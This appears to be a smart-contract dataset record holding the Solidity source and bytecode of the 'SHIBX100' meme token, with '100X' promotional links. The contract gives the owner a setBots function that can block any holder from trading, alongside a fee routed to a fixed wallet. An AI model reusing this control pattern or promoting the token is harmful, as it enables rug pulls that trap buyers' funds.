d5b5061016c600160a060020a03600435166024356107a1565b3480156102bf57600080fd5b50610195600160a060020a036004358116906024351661083a565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103eb57600080fd5b600160a060020a03841660009081526020819052604090205482111561041057600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561044057600080fd5b600160a060020a038416600090815260208190526040902054610469908363ffffffff61086516565b600160a060020a03808616600090815260208190526040808220939093559085168152205461049e908363ffffffff61087716565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104e0908363ffffffff61086516565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105af57336000908152600260209081526040808320600160a060020a03881684529091528120556105e4565b6105bf818463ffffffff61086516565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b6000600160a060020a03831615156106d757600080fd5b336000908152602081905260409020548211156106f357600080fd5b33600090815260208190526040902054610713908363ffffffff61086516565b3360009081526020819052604080822092909255600160a060020a03851681522054610745908363ffffffff61087716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d5908363ffffffff61087716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561087157fe5b50900390565b8181018281101561088457fe5b929150505600a165627a7a723058204279a978853bafb667f748e7265f8071dc1e058edddcb43410d7aeb453f070530029
|
{"success": true, "error": null, "results": {}}
| 6,158 |
0xe529cbcf1d0ec9b20fb8dd0dd48075d29c177e69
|
/**
🐶SHIBA 100X🐶🐶
🐶 Website: https://shibx100.com/
✈️ TG: https://t.me/SHIBX100Token
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBX100 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "SHIBX100";
string private constant _symbol = "SHIBX100";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xc5E42b43E7423792efa67C02c35aafA1Be32c1C7);
_feeAddrWallet2 = payable(0xc5E42b43E7423792efa67C02c35aafA1Be32c1C7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612ad3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612665565b61042a565b60405161016d9190612ab8565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c35565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612616565b610458565b6040516101d59190612ab8565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612588565b610531565b005b34801561021357600080fd5b5061021c610621565b6040516102299190612caa565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126e2565b61062a565b005b34801561026757600080fd5b506102706106dc565b005b34801561027e57600080fd5b5061029960048036038101906102949190612588565b61074e565b6040516102a69190612c35565b60405180910390f35b3480156102bb57600080fd5b506102c461079f565b005b3480156102d257600080fd5b506102db6108f2565b6040516102e891906129ea565b60405180910390f35b3480156102fd57600080fd5b5061030661091b565b6040516103139190612ad3565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612665565b610958565b6040516103509190612ab8565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126a1565b610976565b005b34801561038e57600080fd5b50610397610ac6565b005b3480156103a557600080fd5b506103ae610b40565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125da565b61109b565b6040516103e49190612c35565b60405180910390f35b60606040518060400160405280600881526020017f5348494258313030000000000000000000000000000000000000000000000000815250905090565b600061043e610437611122565b848461112a565b6001905092915050565b6000678ac7230489e80000905090565b60006104658484846112f5565b61052684610471611122565b6105218560405180606001604052806028815260200161331c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d7611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fa9092919063ffffffff16565b61112a565b600190509392505050565b610539611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90612b95565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610632611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690612b95565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071d611122565b73ffffffffffffffffffffffffffffffffffffffff161461073d57600080fd5b600047905061074b8161195e565b50565b6000610798600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a59565b9050919050565b6107a7611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90612b95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348494258313030000000000000000000000000000000000000000000000000815250905090565b600061096c610965611122565b84846112f5565b6001905092915050565b61097e611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612b95565b60405180910390fd5b60005b8151811015610ac257600160066000848481518110610a56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aba90612f4b565b915050610a0e565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b07611122565b73ffffffffffffffffffffffffffffffffffffffff1614610b2757600080fd5b6000610b323061074e565b9050610b3d81611ac7565b50565b610b48611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc90612b95565b60405180910390fd5b600f60149054906101000a900460ff1615610c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1c90612c15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e8000061112a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfa57600080fd5b505afa158015610d0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3291906125b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9457600080fd5b505afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc91906125b1565b6040518363ffffffff1660e01b8152600401610de9929190612a05565b602060405180830381600087803b158015610e0357600080fd5b505af1158015610e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3b91906125b1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec43061074e565b600080610ecf6108f2565b426040518863ffffffff1660e01b8152600401610ef196959493929190612a57565b6060604051808303818588803b158015610f0a57600080fd5b505af1158015610f1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f439190612734565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506702c68af0bb1400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611045929190612a2e565b602060405180830381600087803b15801561105f57600080fd5b505af1158015611073573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611097919061270b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612bf5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612b35565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e89190612c35565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90612bd5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc90612af5565b60405180910390fd5b60008111611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612bb5565b60405180910390fd5b6000600a819055506005600b819055506114306108f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561149e575061146e6108f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ea57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116695750600f60179054906101000a900460ff165b156117195760105481111561167d57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116c857600080fd5b601e426116d59190612d6b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117c45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611830576000600a819055506005600b819055505b600061183b3061074e565b9050600f60159054906101000a900460ff161580156118a85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118c05750600f60169054906101000a900460ff165b156118e8576118ce81611ac7565b600047905060008111156118e6576118e54761195e565b5b505b505b6118f5838383611dc1565b505050565b6000838311158290611942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119399190612ad3565b60405180910390fd5b50600083856119519190612e4c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119ae600284611dd190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119d9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a2a600284611dd190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a55573d6000803e3d6000fd5b5050565b6000600854821115611aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9790612b15565b60405180910390fd5b6000611aaa611e1b565b9050611abf8184611dd190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b25577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b535781602001602082028036833780820191505090505b5090503081600081518110611b91577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3357600080fd5b505afa158015611c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6b91906125b1565b81600181518110611ca5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d70959493929190612c50565b600060405180830381600087803b158015611d8a57600080fd5b505af1158015611d9e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dcc838383611e46565b505050565b6000611e1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612011565b905092915050565b6000806000611e28612074565b91509150611e3f8183611dd190919063ffffffff16565b9250505090565b600080600080600080611e58876120d3565b955095509550955095509550611eb686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f97816121e3565b611fa184836122a0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ffe9190612c35565b60405180910390a3505050505050505050565b60008083118290612058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204f9190612ad3565b60405180910390fd5b50600083856120679190612dc1565b9050809150509392505050565b600080600060085490506000678ac7230489e8000090506120a8678ac7230489e80000600854611dd190919063ffffffff16565b8210156120c657600854678ac7230489e800009350935050506120cf565b81819350935050505b9091565b60008060008060008060008060006120f08a600a54600b546122da565b9250925092506000612100611e1b565b905060008060006121138e878787612370565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fa565b905092915050565b60008082846121949190612d6b565b9050838110156121d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d090612b55565b60405180910390fd5b8091505092915050565b60006121ed611e1b565b9050600061220482846123f990919063ffffffff16565b905061225881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b58260085461213b90919063ffffffff16565b6008819055506122d08160095461218590919063ffffffff16565b6009819055505050565b60008060008061230660646122f8888a6123f990919063ffffffff16565b611dd190919063ffffffff16565b905060006123306064612322888b6123f990919063ffffffff16565b611dd190919063ffffffff16565b905060006123598261234b858c61213b90919063ffffffff16565b61213b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238985896123f990919063ffffffff16565b905060006123a086896123f990919063ffffffff16565b905060006123b787896123f990919063ffffffff16565b905060006123e0826123d2858761213b90919063ffffffff16565b61213b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240c576000905061246e565b6000828461241a9190612df2565b90508284826124299190612dc1565b14612469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246090612b75565b60405180910390fd5b809150505b92915050565b600061248761248284612cea565b612cc5565b905